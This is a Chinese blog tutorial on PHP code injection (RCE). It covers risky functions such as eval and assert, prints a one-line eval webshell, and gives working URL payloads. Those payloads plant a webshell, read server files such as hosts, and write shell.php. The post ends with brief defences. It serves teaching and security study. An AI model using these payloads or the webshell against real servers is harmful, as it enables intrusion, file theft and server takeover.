当前位置:首页 » 《我的小黑屋》 » 正文

代码(执行)注入_ZY95001的博客

16 人参与  2021年12月23日 16:15  分类 : 《我的小黑屋》  评论

点击全文阅读


一、PHP代码注入

代码注入(执行)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。类似于SQL注入,不同的是,SQL注入到数据库执行,而代码执行将注入到应用中最终由服务器运行它。相当于直接有一个web后门的存在。常见的是远程代码执行,简称RCE。

原因:

1.程序中含有可以执行php代码的函数或者语言结构。

2.传入第一点中的参数,客户端可控,直接修改或者影响。

危害:可以继承web用户权限,执行任意代码。读写目标服务器任意文件,控制整个服务器。

二、相关函数语句

1.eval()

eval()会将字符串当作php代码执行。

测试代码(一句话木马):

<?php
if(isset($_REQUSET['code'])){
	@$str=$_REQUEST['code'];
	eval($str);
}
?>

注: request   预定义超全局数组变量,get、post、cookie传参在request下都能接收的到。

传参方式,在URL路径后面加上:

?code=phpinfo();     或者     ?code=${phpinfo()} ;    或者     ?code=1;phpinfo();

eval()函数可执行多条件语句,在后面加   ;   执行。

2.assert()

同样作为php代码执行

3.preg_replace()

对字符串进行正则处理。

4.call_user_func()

有调用其他函数的功能,该函数的第一个值作为回调函数,后面的值作为回调函数的参数。

5.动态函数:$a($b)

由直接拼接的方式调用

三、漏洞利用

1.直接获取shell

提交参数[?code=@eval($_post[1]);],即可构成一句话木马,密码为[1],可使用菜刀连接。

2.获取当前文件的绝对路径

__FILE__是PHP  预定义常量,其含义是当前文件的路径,提交代码[?code=print(__FILE__);]

3.读文件

利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。

提交代码:

?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));

读取服务器hosts文件。

4.写文件

利用file_put_contents()函数,写入文件。前提是知道可写目录。

提交代码:

?code=var_dump(file_put_contents($_POST[1],$_POST[2]));

要借助hackbar工具post提交参数

1=shell.php&2=<?php phpinfo()?>

即可在当前目录下创建一个文件shell.php

 

四、防御方法

1.尽量不要使用eval等函数

2.如果使用的话一定要严格过滤

3.preg_replace放弃使用/e修饰符

4.disable_functions=assert


点击全文阅读


本文链接:http://zhangshiyu.com/post/32038.html

代码  函数  执行  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1